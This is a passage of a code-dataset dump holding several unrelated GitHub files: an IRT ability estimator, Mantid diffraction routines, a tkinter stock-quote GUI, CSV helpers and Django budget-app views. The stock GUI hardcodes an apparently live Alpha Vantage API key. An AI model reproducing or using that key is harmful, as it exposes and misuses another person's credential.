x in response]\n\n return resultList","repo_name":"hgjkim/BE_TourRoute","sub_path":"src/api/plan_router.py","file_name":"plan_router.py","file_ext":"py","file_size_in_byte":6827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"8357378681","text":"\n\"\"\"\nEAP(expected a posteriori)期望后验参数估计算法中的高斯-埃尔米特(Gauss-Hermite) 积分数值计算方法研究\n 用于实时估计考生能力, \n 应用场景在于考生在线实时答题过程中快速实时调整对该考生的能力估计,\n 要求计算要快,消耗资源要少\n EAP(expected a posteriori)算法是唯一不需要迭代的算法���所以它的计算速度是最快的,常用于在线测验的参数估计,其理论依据是贝叶斯法则。\n\n\nあき时间 vacant hours 空闲时间 あき〔明き〕\n\n双参数二级计分模型进行参数估计:https://zhuanlan.zhihu.com/p/29887184\n注意这公式和书上的有点不同\n# https://github.com/17zuoye/pyirt/blob/master/pyirt/util/tools.py \n# 另一个参考项目,基于论文的实现 IRT Parameter Estimation using the EM Algorithm By Brad Hanson 2000\n\n\n高斯求积简介 https://discourse.juliacn.com/t/topic/1024\n\n高斯厄米特积分点的数量,影响积分计算的精度\n 肯定是越大越好,但也没太多必要,6个积分点就够了\n\n参见:Gauss–Hermite积分 in 深入理解神经网络:从逻辑回归到CNN.md\n\n\"\"\"\n\nimport numpy as np\n\ndef Z(slop, threshold, theta):\n # z函数\n _z = slop * theta + threshold\n _z[_z > 35] = 35\n _z[_z < -35] = -35\n return _z\n\ndef P(z):\n # 回答正确的概率函数\n e = np.exp(z)\n p = e / (1.0 + e)\n return p\n\ndef get_gh_point(gp_size):\n x_nodes, x_weights = np.polynomial.hermite.hermgauss(gp_size) # Gauss–Hermite积分点数\n x_nodes = x_nodes * 2 ** 0.5\n x_nodes.shape = x_nodes.shape[0], 1\n x_weights = x_weights / np.pi ** 0.5\n x_weights.shape = x_weights.shape[0], 1\n return x_nodes, x_weights\n\n\n\"\"\"\n阀值 = -1 * ( 难度 * 区分度 )\n难度 = -1 * ( 阀值 / 区分度 )\n\"\"\"\nif __name__ == \"__main__\":\n\n \"\"\"\n 一个人的真实能力是1,他答了3 道题,使用EAP 算法估计他的能力\n \"\"\"\n num = 5 # 题数\n slop = np.random.uniform(1, 3, num) # 1000 道题的区分度 # 均匀分布\n threshold = np.random.normal(0, 1, size=num) # 1000 个阀值 # 正态分存\n z = Z(slop, threshold, 1) # 区分度,阀值,能力\n p = P(z)\n score = np.random.binomial(1, p, num)\n\n \"\"\"\n 先求21 个积分点\n \"\"\"\n x_nodes, x_weights = np.polynomial.hermite.hermgauss(21) # Gauss–Hermite积分点数\n x_nodes = x_nodes * 2 ** 0.5\n x_nodes.shape = x_nodes.shape[0], 1\n x_weights = x_weights / np.pi ** 0.5\n x_weights.shape = x_weights.shape[0], 1\n\n z = Z(slop, threshold, x_nodes) # x_nodes是21 个theta 采样值\n p = P(z) # (21 * 5) 的正确率\n tmp1 = p**score # p 被按列乘方,p 的列数要等于score 的列数\n tmp2 = (1.0 - p)**(1-score)\n\n lik_values = np.prod(tmp1*tmp2, axis=1)\n\n # lik_values = np.prod(p**score*(1.0 - p)**(1-score), axis=1)\n \"\"\"\n 计算所有元素的乘积,按行连乘(维度变成n*1)。\n 如果不指定轴,则不管是几维都展平成一维然后连乘\n \"\"\"\n\n x = x_nodes[:, 0]\n weight = x_weights[:, 0]\n g = np.sum(x * weight * lik_values)\n\n\n weight = x_weights[:, 0]\n h = np.sum(weight * lik_values)\n\n \"\"\"\n 估计的能力值\n \"\"\"\n theta = round(g / h, 3)\n print(theta)\n\n\n\"\"\"\nSELECT t.Alpha, t.Beta FROM testirt t ORDER BY RAND() LIMIT 1000;\n\"\"\"\n\n\n\n\n\n","repo_name":"dlxj/doc","sub_path":"lang/programming/algo/EAP.py","file_name":"EAP.py","file_ext":"py","file_size_in_byte":3418,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"23378241833","text":"from __future__ import (absolute_import, division, print_function)\n\nimport mantid.simpleapi as mantid\n\nfrom isis_powder.routines import absorb_corrections, common\nfrom isis_powder.routines.common_enums import WORKSPACE_UNITS\nfrom isis_powder.routines.run_details import create_run_details_object, get_cal_mapping_dict\nfrom isis_powder.polaris_routines import polaris_advanced_config\nfrom six import PY3\n\n\ndef calculate_van_absorb_corrections(ws_to_correct, multiple_scattering, is_vanadium):\n mantid.MaskDetectors(ws_to_correct, SpectraList=list(range(1, 55)))\n\n absorb_dict = polaris_advanced_config.absorption_correction_params\n sample_details_obj = absorb_corrections.create_vanadium_sample_details_obj(config_dict=absorb_dict)\n ws_to_correct = absorb_corrections.run_cylinder_absorb_corrections(\n ws_to_correct=ws_to_correct, multiple_scattering=multiple_scattering, sample_details_obj=sample_details_obj,\n is_vanadium=is_vanadium)\n return ws_to_correct\n\n\ndef _get_run_numbers_for_key(current_mode_run_numbers, key):\n err_message = \"this must be under the relevant Rietveld or PDF mode.\"\n return common.cal_map_dictionary_key_helper(current_mode_run_numbers, key=key,\n append_to_error_message=err_message)\n\n\ndef _get_current_mode_dictionary(run_number_string, inst_settings):\n mapping_dict = get_cal_mapping_dict(run_number_string, inst_settings.cal_mapping_path)\n if inst_settings.mode is None:\n ws = mantid.Load('POLARIS'+run_number_string+'.nxs')\n mode, cropping_vals = _determine_chopper_mode(ws)\n inst_settings.mode = mode\n inst_settings.focused_cropping_values = cropping_vals\n mantid.DeleteWorkspace(ws)\n # Get the current mode \"Rietveld\" or \"PDF\" run numbers\n return common.cal_map_dictionary_key_helper(mapping_dict, inst_settings.mode)\n\n\ndef get_run_details(run_number_string, inst_settings, is_vanadium_run):\n mode_run_numbers = _get_current_mode_dictionary(run_number_string, inst_settings)\n\n # Get empty and vanadium\n err_message = \"this must be under the relevant Rietveld or PDF mode.\"\n\n empty_runs = common.cal_map_dictionary_key_helper(mode_run_numbers,\n key=\"empty_run_numbers\", append_to_error_message=err_message)\n vanadium_runs = common.cal_map_dictionary_key_helper(mode_run_numbers, key=\"vanadium_run_numbers\",\n append_to_error_message=err_message)\n\n grouping_file_name = inst_settings.grouping_file_name\n\n return create_run_details_object(run_number_string=run_number_string, inst_settings=inst_settings,\n is_vanadium_run=is_vanadium_run, empty_run_number=empty_runs,\n vanadium_string=vanadium_runs, grouping_file_name=grouping_file_name)\n\n\ndef process_vanadium_for_focusing(bank_spectra, mask_path, spline_number):\n bragg_masking_list = _read_masking_file(mask_path)\n masked_workspace_list = _apply_bragg_peaks_masking(bank_spectra, mask_list=bragg_masking_list)\n output = common.spline_workspaces(focused_vanadium_spectra=masked_workspace_list,\n num_splines=spline_number)\n common.remove_intermediate_workspace(masked_workspace_list)\n return output\n\n\ndef save_unsplined_vanadium(vanadium_ws, output_path):\n converted_workspaces = []\n\n for ws_index in range(vanadium_ws.getNumberOfEntries()):\n ws = vanadium_ws.getItem(ws_index)\n previous_units = ws.getAxis(0).getUnit().unitID()\n\n if previous_units != WORKSPACE_UNITS.tof:\n ws = mantid.ConvertUnits(InputWorkspace=ws, Target=WORKSPACE_UNITS.tof)\n\n ws = mantid.RenameWorkspace(InputWorkspace=ws, OutputWorkspace=\"van_bank_{}\".format(ws_index + 1))\n converted_workspaces.append(ws)\n\n converted_group = mantid.GroupWorkspaces(\",\".join(ws.name() for ws in converted_workspaces))\n mantid.SaveNexus(InputWorkspace=converted_group, Filename=output_path, Append=False)\n mantid.DeleteWorkspace(converted_group)\n\n\ndef generate_ts_pdf(run_number, focus_file_path, merge_banks=False):\n focused_ws = _obtain_focused_run(run_number, focus_file_path)\n pdf_output = mantid.ConvertUnits(InputWorkspace=focused_ws.name(), Target=\"MomentumTransfer\")\n if merge_banks:\n raise RuntimeError(\"Merging banks is currently not supported\")\n pdf_output = mantid.PDFFourierTransform(Inputworkspace=pdf_output, InputSofQType=\"S(Q)\", PDFType=\"G(r)\",\n Filter=True)\n pdf_output = mantid.RebinToWorkspace(WorkspaceToRebin=pdf_output, WorkspaceToMatch=pdf_output[4],\n PreserveEvents=True)\n return pdf_output\n\n\ndef _obtain_focused_run(run_number, focus_file_path):\n \"\"\"\n Searches for the focused workspace to use (based on user specified run number) in the ADS and then the output\n directory.\n If unsuccessful, a ValueError exception is thrown.\n :param run_number: The run number to search for.\n :param focus_file_path: The expected file path for the focused file.\n :return: The focused workspace.\n \"\"\"\n # Try the ADS first to avoid undesired loading\n if mantid.mtd.doesExist('%s-Results-TOF-Grp' % run_number):\n focused_ws = mantid.mtd['%s-Results-TOF-Grp' % run_number]\n elif mantid.mtd.doesExist('%s-Results-D-Grp' % run_number):\n focused_ws = mantid.mtd['%s-Results-D-Grp' % run_number]\n else:\n # Check output directory\n print('No loaded focused files found. Searching in output directory...')\n try:\n focused_ws = mantid.LoadNexus(Filename=focus_file_path, OutputWorkspace='focused_ws').OutputWorkspace\n except ValueError:\n raise ValueError(\"Could not find focused file for run number:%s\\n\"\n \"Please ensure a focused file has been produced and is located in the output directory.\"\n % run_number)\n return focused_ws\n\n\ndef _apply_bragg_peaks_masking(workspaces_to_mask, mask_list):\n output_workspaces = list(workspaces_to_mask)\n\n for ws_index, (bank_mask_list, workspace) in enumerate(zip(mask_list, output_workspaces)):\n output_name = \"masked_vanadium-\" + str(ws_index + 1)\n for mask_params in bank_mask_list:\n output_workspaces[ws_index] = mantid.MaskBins(InputWorkspace=output_workspaces[ws_index],\n OutputWorkspace=output_name,\n XMin=mask_params[0], XMax=mask_params[1])\n return output_workspaces\n\n\ndef _read_masking_file(masking_file_path):\n all_banks_masking_list = []\n bank_masking_list = []\n ignore_line_prefixes = (' ', '\\n', '\\t', '#') # Matches whitespace or # symbol\n\n # Python 3 requires the encoding to be included so an Angstrom\n # symbol can be read, I'm assuming all file read here are\n # `latin-1` which may not be true in the future. Python 2 `open`\n # doesn't have an encoding option\n if PY3:\n encoding = {\"encoding\": \"latin-1\"}\n else:\n encoding = {}\n with open(masking_file_path, **encoding) as mask_file:\n for line in mask_file:\n if line.startswith(ignore_line_prefixes):\n # Push back onto new bank\n if bank_masking_list:\n all_banks_masking_list.append(bank_masking_list)\n bank_masking_list = []\n else:\n # Parse and store in current list\n line.rstrip()\n bank_masking_list.append(line.split())\n\n if bank_masking_list:\n all_banks_masking_list.append(bank_masking_list)\n return all_banks_masking_list\n\n\ndef _determine_chopper_mode(ws):\n if ws.getRun().hasProperty('Frequency'):\n frequency = ws.getRun()['Frequency'].lastValue()\n print(\"No chopper mode provided\")\n if frequency == 50:\n print(\"automatically chose Rietveld\")\n return 'Rietveld', polaris_advanced_config.rietveld_focused_cropping_values\n if frequency == 0:\n print(\"automatically chose PDF\")\n return 'PDF', polaris_advanced_config.pdf_focused_cropping_values\n else:\n raise ValueError(\"Chopper frequency not in log data. Please specify a chopper mode\")\n","repo_name":"antonyvam/mantid","sub_path":"scripts/Diffraction/isis_powder/polaris_routines/polaris_algs.py","file_name":"polaris_algs.py","file_ext":"py","file_size_in_byte":8418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"15716145368","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 25 18:41:35 2022\n\n@author: magno\n\"\"\"\n\n\"\"\"\n@ Description: Closing Stock Price using Quote Endpoint from Alpha Vantage\n@ API Documentation: https://www.alphavantage.co/documentation/\n\"\"\"\nimport requests\nfrom tkinter import *\nfrom tkinter import Tk, ttk\nfrom tkinter.messagebox import showinfo, showwarning\nclass StockGUI:\n def __init__(self, guiWin, api_key):\n self.guiWin_ = guiWin\n self.guiWin_.title(\"Stock Price\")\n self.api_key = api_key\n \n # Declares root canvas is a grid of only one row and one column\n self.guiWin_.columnconfigure(0, weight=1)\n self.guiWin_.rowconfigure(0, weight=1)\n \n # Create Frame inside GUI canvas\n self.mainframe = ttk.Frame(self.guiWin_, padding=\"5 12 5 12\")\n self.mainframe.grid(column=0, row=0, sticky=(N, W, E, S))\n \n # Set styles for TK Label, Entry and Button Widgets\n self.style = ttk.Style()\n self.style.configure(\"TLabel\", font=(\"Arial\", 20),foreground='black')\n \n # Add Label Widgets to mainframe\n ttk.Label(self.mainframe, text=\"Symbol\"). \\\n grid(column=1,row=1, sticky=W)\n ttk.Label(self.mainframe, text=\"Close Price (USD)\"). \\\n grid(column=1, row=2, sticky=W)\n ttk.Label(self.mainframe, text=\"Previous Close\"). \\\n grid(column=1, row=3, sticky=W)\n ttk.Label(self.mainframe, text=\"Percent Change\"). \\\n grid(column=1, row=4, sticky=W)\n ttk.Label(self.mainframe, text=\"Volume\"). \\\n grid(column=1, row=5, sticky=W)\n \n self.style.configure(\"TEntry\", font=(\"Arial\", 25),foreground='maroon')\n # Add Entry Widget for Entering the Stock Symbol\n self.symbol = StringVar()\n self.symbol_entry = ttk.Entry(self.mainframe, width=10,justify=CENTER,\n textvariable=self.symbol, font=(\"Arial\", 20, \"bold\"))\n self.symbol_entry.grid(column=2, row=1, sticky=(W, E))\n \n # Add Entry Widget for Display of the Last Stock Close Price \n self.close_price = StringVar()\n self.close_price_entry = ttk.Entry(self.mainframe, width=10, \n textvariable=self.close_price, justify=CENTER)\n self.close_price_entry.grid(column=2, row=2, sticky=(W, E))\n \n # Add Entry Widget for Display of the Previous Stock Close Price\n self.p_close_price = StringVar()\n self.p_close_price_entry = ttk.Entry(self.mainframe, width=10, \n textvariable=self.p_close_price, justify=CENTER)\n self.p_close_price_entry.grid(column=2, row=3, sticky=(W, E))\n \n # Add Entry Widget for Display of the Percent Change in Price\n self.change = StringVar()\n self.change_entry = ttk.Entry(self.mainframe, width=10, \n textvariable=self.change, justify=CENTER)\n self.change_entry.grid(column=2, row=4, sticky=(W, E))\n \n # Add Entry Widget for Display of Trading Volume for Last Day\n self.vol = StringVar()\n self.vol_entry = ttk.Entry(self.mainframe, width=10, \n textvariable=self.vol, justify=CENTER)\n self.vol_entry.grid(column=2, row=5, sticky=(W, E))\n self.style.configure(\"TButton\",font=(\"Arial\", 20),foreground='maroon')\n # Add Button Widget for Calling stock_close() to Display Quote \n ttk.Button(self.mainframe, text=\"Price\", cursor=\"hand2\", \n command=self.stock_close).grid(column=2, row=6, sticky=W)\n \n # Function to get stock close information \n def stock_close(self) : \n # Check for missing stock symbol\n if self.symbol.get() == \"\":\n showinfo(title=\"Warning\", message=\"Symbol Missing\")\n self.clear_entries()\n return\n c_symbol = self.symbol.get().upper()\n self.symbol.set(c_symbol)\n # base_url variable store base url \n base_url = \\\n r\"https://www.alphavantage.co/query?function=GLOBAL_QUOTE\"\n # main_url variable store complete url \n main_url = base_url + \"&symbol=\" + c_symbol + \\\n \"&apikey=\" + self.api_key \n # get method of requests module returns response object \n res_obj = requests.get(main_url) \n # json method returns json format data into python dictionary data type. \n # rates are returned in a list of nested dictionaries \n self.result = res_obj.json()\n try:\n # Get and Display Last Closing Price\n self.c_price = self.result[\"Global Quote\"]['05. price']\n f_price = round(float(self.c_price), 2)\n self.c_price = str(f_price)\n self.close_price.set(\"$\"+self.c_price)\n \n # Get and Display Previous Day's Closing Price\n self.pc_price = self.result[\"Global Quote\"]['08. previous close']\n f_price = round(float(self.pc_price), 2)\n self.pc_price = str(f_price)\n self.p_close_price.set(\"$\"+self.pc_price)\n # Get and Display Percent Change in Stock Value\n self.p_change = self.result[\"Global Quote\"]['10. change percent']\n self.change.set(self.p_change)\n \n # Get and Display Last Day's Volume for this Stock\n self.volume = self.result[\"Global Quote\"]['06. volume']\n v = int(self.volume) # converts the string self.volume to integer\n v = \"{:,}\".format(v) # converts int to string with commas\n self.vol.set(v)\n \n except:\n # If Stock Symbol is Invalid Display a Warning\n warn_msg = \"Symbol \" + c_symbol + \" Not Found\"\n showwarning(title=\"Warning\", message=warn_msg)\n self.clear_entries()\n def clear_entries(self):\n self.symbol.set(\"\")\n self.close_price.set(\"\")\n self.p_close_price.set(\"\")\n self.change.set(\"\")\n self.vol.set(\"\")\n \n# ***** End of Class SimpleGUI_A *****\n# Instantiate GUI Canvas Using Tk \napi_key = \"demo\"\napi_key = \"CK8FNM4QB629PDZL\"\nroot = Tk()\nroot.title(\"Stock Price\")\n# Paint Canvas Using Class StockGUI __init__()\nmy_gui = StockGUI(root, api_key)\n# Display GUI\nroot.mainloop()","repo_name":"magno2246/myFirst","sub_path":"Stocks.py","file_name":"Stocks.py","file_ext":"py","file_size_in_byte":6522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22386315101","text":"FILENAME = 'heaven.txt'\n\n\ndef main():\n with open(FILENAME, 'r') as input_file:\n for line in input_file:\n for word in line.split():\n trimmed_word = word.strip('.,!?\\'\"')\n print(f\">>{trimmed_word}<<\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"squillero/computer-sciences","sub_path":"Python/src/2020-21/20201202_file_5.py","file_name":"20201202_file_5.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"32"} +{"seq_id":"24720901542","text":"import pandas as pds\r\nimport modules.mod_polish as mp\r\n\r\n\r\ndef getFixPosCSV(fileName,FixPosAry,output_dir):\r\n if(len(FixPosAry)==0):\r\n print(\"number of fix-position is zero\")\r\n return\r\n finalAry = []\r\n for posData in FixPosAry:\r\n finalAry.append(posData[0])\r\n \r\n df = pds.DataFrame(finalAry)\r\n df = df.reset_index()\r\n df.columns =[\"\",\"position\"]\r\n df.to_csv(output_dir+\"/\"+fileName+\"_fix_position.csv\",encoding=\"ascii\",index=False)\r\n\r\n\r\n\r\ndef getT_val(T_AllAry,pos):\r\n T_val = \"\"\r\n\r\n T_ATCG = T_AllAry[pos]\r\n if(T_ATCG[0] !=0 or T_ATCG[5] !=0 ):\r\n T_val = \"A\"\r\n elif(T_ATCG[1] !=0 or T_ATCG[6] !=0):\r\n T_val = \"T\"\r\n elif(T_ATCG[2]!=0 or T_ATCG[7] !=0):\r\n T_val = \"C\"\r\n elif(T_ATCG[3] !=0 or T_ATCG[8] !=0):\r\n T_val = \"G\" \r\n return T_val\r\n\r\n\r\ndef getFixMisPosCSV(fileName,fixData,T_AllAry,T_misAry,R_AllAry,S_AllAry,FixPosAry):\r\n MissPosAry = []\r\n fixPos_ary = []\r\n \r\n for posData in FixPosAry:\r\n if(posData[0]!=0):\r\n fixPos_ary.append(posData[0])\r\n \r\n for T_pos in T_misAry:\r\n\r\n if(T_pos[0] == 0):\r\n continue \r\n \r\n T_val = getT_val(T_AllAry,T_pos[0]) \r\n \r\n if(T_pos[0] not in fixPos_ary):\r\n #MissPosAry.append([T_pos[0],fixData.seq[T_pos[0]],T_val,R_AllAry[T_pos[0]][0],R_AllAry[T_pos[0]][1],R_AllAry[T_pos[0]][2],R_AllAry[T_pos[0]][3],R_AllAry[T_pos[0]][5],R_AllAry[T_pos[0]][6],R_AllAry[T_pos[0]][7],R_AllAry[T_pos[0]][8],S_AllAry[T_pos[0]][0],S_AllAry[T_pos[0]][1],S_AllAry[T_pos[0]][2],S_AllAry[T_pos[0]][3],S_AllAry[T_pos[0]][4]])\r\n \r\n subPattern = mp.getSpecialPattern(T_pos[0],fixData.seq)\r\n MissPosAry.append([T_pos[0],fixData.seq[T_pos[0]],subPattern]) #getSpecialPatternCSV\r\n \r\n df = pds.DataFrame(MissPosAry)\r\n df = df.reset_index()\r\n df.columns =[\"\",\"pos\",\"draft_Val\",\"True_Val\",\"Read_A+\",\"Read_T+\",\"Read_C+\",\"Read_G+\",\"Read_A-\",\"Read_T-\",\"Read_C-\",\"Read_G-\",\"Sib_A\",\"Sib_T\",\"Sib_C\",\"Si_G\",\"SibInsDel\"]\r\n df.to_csv(\"modpolish/\"+fileName+\".csv\",encoding=\"ascii\",index=False)\r\n \r\n return MissPosAry\r\n \r\n \r\ndef getFixEorPosCSV(fileName,fixData,T_AllAry,T_misAry,R_AllAry,S_AllAry,FixPosAry): \r\n ErrorPosAry = []\r\n \r\n for F_pos in FixPosAry: \r\n T_val = getT_val(T_AllAry,F_pos[0]) \r\n if(F_pos[1] != T_val and T_val!=\"\" ):\r\n ErrorPosAry.append([F_pos[0],fixData.seq[F_pos[0]],T_val,R_AllAry[F_pos[0]][0],R_AllAry[F_pos[0]][1],R_AllAry[F_pos[0]][2],R_AllAry[F_pos[0]][3],R_AllAry[F_pos[0]][5],R_AllAry[F_pos[0]][6],R_AllAry[F_pos[0]][7],R_AllAry[F_pos[0]][8],S_AllAry[F_pos[0]][0],S_AllAry[F_pos[0]][1],S_AllAry[F_pos[0]][2],S_AllAry[F_pos[0]][3],S_AllAry[F_pos[0]][4]])\r\n \r\n if(len(ErrorPosAry)!=0):\r\n df = pds.DataFrame(ErrorPosAry)\r\n df = df.reset_index()\r\n df.columns =[\"\",\"pos\",\"draft_Val\",\"True_Val\",\"Read_A+\",\"Read_T+\",\"Read_C+\",\"Read_G+\",\"Read_A-\",\"Read_T-\",\"Read_C-\",\"Read_G-\",\"Sib_A\",\"Sib_T\",\"Sib_C\",\"Si_G\",\"SibInsDel\"]\r\n df.to_csv(\"Qscore/cntCSV/\"+fileName+\".csv\",encoding=\"ascii\",index=False)\r\n \r\n return ErrorPosAry\r\n","repo_name":"ythuang0522/homopolish","sub_path":"modules/getCSV.py","file_name":"getCSV.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"32"} +{"seq_id":"39944128014","text":"import functools\r\nfrom colorama import Fore, Style\r\nfrom time import perf_counter\r\n\r\ndef checking(opening_text, _show_time, _show_count, _show_result):\r\n \"\"\" \r\n`~This decorator can check that function returned, show time of completed function and show number of test`.\r\n \r\n `Example:`\r\n @checking(\"-------TEST BEGAN-------\", True, True, True)\r\n def is_prime(number: int): return True if number % 2 == 0 else False\r\n\r\n \\nis_prime(True, 2)\r\n \\nis_prime(False, 15)\r\n \\nis_prime(False, 2234523452345)\r\n \\nis_prime(True, 500000000000000)\r\n \\nis_prime(True, 34529034857)\"\"\"\r\n \r\n if isinstance(opening_text, str): print(\"\\n\" + Fore.MAGENTA + opening_text + Style.RESET_ALL)\r\n\r\n def decorator(func):\r\n count = 0\r\n \r\n @functools.wraps(func)\r\n def inner(should_return, *args, **kwargs):\r\n nonlocal count\r\n\r\n start = perf_counter()\r\n count += 1\r\n\r\n result = func(*args, **kwargs)\r\n\r\n print(Fore.GREEN + \"✔ Test passed\" + Style.RESET_ALL) if result == should_return else print(Fore.RED + f\"❌ Test failed | {result} should return {should_return}\" + Style.RESET_ALL)\r\n\r\n if _show_result: print(Fore.LIGHTBLUE_EX + f\"Function returned: {result}\" + Style.RESET_ALL)\r\n if _show_count: print(Fore.BLUE + f\"Test number: {count}\" + Style.RESET_ALL)\r\n if _show_time: print(Fore.YELLOW + f\"Completed in {perf_counter() - start}\" + Style.RESET_ALL)\r\n\r\n print(\"---------------------------\")\r\n \r\n return inner\r\n \r\n return decorator","repo_name":"chebupelka8/GlobEngine","sub_path":"GlobEngine/additions/checking.py","file_name":"checking.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6128525467","text":"import json\n\nfrom django.shortcuts import redirect, render, HttpResponse\nfrom os import path\nimport pandas as pd\n\nfrom psutil import users\nfrom .forms import ExpenseIncomeForm, AddUserForm\nfrom .models import BudgetUser, Budget, Category, ExpenseIncome\n# importowanie domyslej tabeli userow\nfrom django.contrib.auth.models import User\nfrom django.db.models import Q\nfrom enum import Enum\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Q\n\n\nRole = Enum(\"Role\", \"OWNER EDIT VIEW\")\n\nbase_path = path.join(\"budget_app\", \"base.html\")\nbudget_base_path = path.join(\"budget_app\", \"view_budget.html\")\n\n\ndef get_budget_list(request):\n budgetUser_objects = BudgetUser.objects.filter(user_id=request.user.id)\n budget_ids = []\n for i in budgetUser_objects:\n budget_ids.append(i.budget_id)\n budgets_list = [Budget.objects.get(id=i.budget_id.id)\n for i in budgetUser_objects]\n return budgets_list\n\n\ndef get_user_list(budget_id):\n budgetUser_objects = BudgetUser.objects.filter(budget_id=budget_id)\n users = []\n for i in budgetUser_objects:\n users.append(User.objects.get(id=i.user_id.id))\n return users\n\n\ndef if_can_edit(budget_id, request):\n role = BudgetUser.objects.get(\n budget_id=budget_id, user_id=request.user.id).role\n if Role(role).name == \"OWNER\" or Role(role).name == \"EDIT\":\n return True\n else:\n return False\n\n\n@login_required(login_url=\"login\")\n# Create your views here.\ndef base(request):\n budgets_list = get_budget_list(request)\n return render(request, \"budget_app/homepage1.html\", {\"budgets_list\": budgets_list})\n\n\n@login_required(login_url=\"login\")\ndef home(request, base_path=base_path):\n budgets_list = get_budget_list(request)\n return render(request, \"budget_app/homepage1.html\", {\"base_path\": base_path,\n \"budgets_list\": budgets_list})\n\n\n@login_required(login_url=\"login\")\ndef register(request, base_path=base_path):\n return render(request, \"budget_app/register.html\", {\"base_path\": base_path})\n\n\n@login_required(login_url=\"login\")\ndef test_base(request):\n return render(request, \"budget_app/test_base.html\")\n\n\n@login_required(login_url=\"login\")\ndef add_category(\n request, budget_id, base_path=base_path, budget_base_path=budget_base_path\n):\n parent_categories = Category.objects.filter(budget_id=budget_id)\n if request.method == \"POST\":\n if if_can_edit(budget_id, request):\n name = request.POST[\"name\"]\n description = request.POST[\"description\"]\n parent_id = request.POST[\"parent_id\"]\n income = Category.objects.get(id=parent_id).is_income_category()\n c = Category(\n name=name,\n description=description,\n parent_id=Category.objects.get(id=parent_id),\n budget_id=Budget.objects.get(id=budget_id),\n income=income\n )\n c.save()\n messages.success(request, 'Category added successfully')\n else:\n messages.error(request, \"You do not have the privileges\")\n budgets_list = get_budget_list(request)\n categories = Category.objects.filter(budget_id=budget_id)\n owner_or_edit = if_can_edit(budget_id, request)\n budget = Budget.objects.get(id=budget_id)\n users = get_user_list(budget_id)\n return render(\n request,\n \"budget_app/add_category.html\",\n {\n \"base_path\": base_path,\n \"parent_categories\": parent_categories,\n \"budget_base_path\": budget_base_path,\n \"budgets_list\": budgets_list,\n \"categories\": categories,\n \"owner_or_edit\": owner_or_edit,\n \"budget\": budget,\n \"users\": users\n },\n )\n\n\n@login_required(login_url=\"login\")\ndef edit_category(\n request,\n budget_id,\n category_id,\n base_path=base_path,\n budget_base_path=budget_base_path,\n):\n\n if request.method == \"POST\":\n category = Category.objects.get(id=category_id)\n if request.POST[\"name\"] != \"\" or request.POST[\"name\"] != category.name:\n category.name = request.POST[\"name\"]\n if (\n request.POST[\"description\"] != \"\"\n or request.POST[\"description\"] != category.description\n ):\n category.description = request.POST[\"description\"]\n category.save()\n messages.success(request, 'Category edited successfully!')\n budgets_list = get_budget_list(request)\n categories = Category.objects.filter(budget_id=budget_id)\n owner_or_edit = if_can_edit(budget_id, request)\n budget = Budget.objects.get(id=budget_id)\n category = Category.objects.get(id=category_id)\n parent = Category.objects.get(id=category.parent_id.id)\n users = get_user_list(budget_id)\n return render(\n request,\n \"budget_app/edit_category.html\",\n {\n \"base_path\": base_path,\n \"categories\": categories,\n \"budget_base_path\": budget_base_path,\n \"budgets_list\": budgets_list,\n \"owner_or_edit\": owner_or_edit,\n \"budget\": budget,\n \"category\": category,\n \"parent\": parent,\n \"users\": users\n },\n )\n\n\n@login_required(login_url=\"login\")\n# Funkcja dodająca budżet z formularza\ndef add_budget(request, base_path=base_path):\n added = False\n\n if request.method == \"POST\":\n name = request.POST[\"name\"]\n description = request.POST[\"description\"]\n # Dodanie nazwy budzetu i opisu do tabeli Budget\n b = Budget(name=name, description=description)\n b.save()\n u = User.objects.get(id=request.user.id)\n bu = BudgetUser(user_id=u, budget_id=b, role=Role.OWNER.value)\n bu.save()\n expense = Category(\n name=\"Expense\",\n description=\"Base Expense\",\n budget_id=b,\n income=False\n )\n expense.save()\n income = Category(\n name=\"Income\",\n description=\"Base Income\",\n budget_id=b,\n )\n income.save()\n messages.success(request, 'Budget added succesfully!')\n return redirect('/budgets/{}/'.format(b.id))\n \n budgets_list = get_budget_list(request)\n \n return render(\n request,\n \"budget_app/add_budget.html\",\n {\n \"base_path\": base_path,\n \"budgets_list\": budgets_list,\n },\n )\n\n\n@login_required(login_url=\"login\")\ndef view_budget(request, budget_id, base_path=base_path):\n users = get_user_list(budget_id)\n budgets_list = get_budget_list(request)\n budget = Budget.objects.get(id=budget_id)\n categories = Category.objects.filter(budget_id=budget_id)\n try:\n owner_or_edit = if_can_edit(budget_id, request)\n except:\n owner_or_edit = True\n expenseincome = ExpenseIncome.objects.filter(budget_id=budget_id)\n\n expenseincome_json = pd.DataFrame(\n expenseincome).reset_index().to_json(orient='records')\n data = []\n data = json.loads(expenseincome_json)\n\n expenses = {'amount': [], 'category': []}\n incomes = {'amount': [], 'category': []}\n\n for i in expenseincome:\n if i.category_id.is_income_category():\n incomes['amount'].append(i.amount)\n incomes['category'].append(i.category_id.name)\n else:\n expenses['amount'].append(i.amount)\n expenses['category'].append(i.category_id.name)\n\n expenses = pd.DataFrame(expenses)\n incomes = pd.DataFrame(incomes)\n\n expenses = expenses.groupby('category').sum()\n incomes = incomes.groupby('category').sum()\n print(categories)\n return render(\n request,\n \"budget_app/view_budget.html\",\n {\n \"budget\": budget,\n \"base_path\": base_path,\n \"budgets_list\": budgets_list,\n \"categories\": categories,\n \"owner_or_edit\": owner_or_edit,\n \"expenseincome\": expenseincome,\n \"d\": data,\n \"users\": users\n },\n )\n\n\n@login_required(login_url=\"login\")\ndef view_category(request, budget_id, category_id, base_path=base_path):\n budget = Budget.objects.get(id=budget_id)\n budgets_list = get_budget_list(request)\n categories = Category.objects.filter(budget_id=budget_id)\n category = Category.objects.get(id=category_id)\n 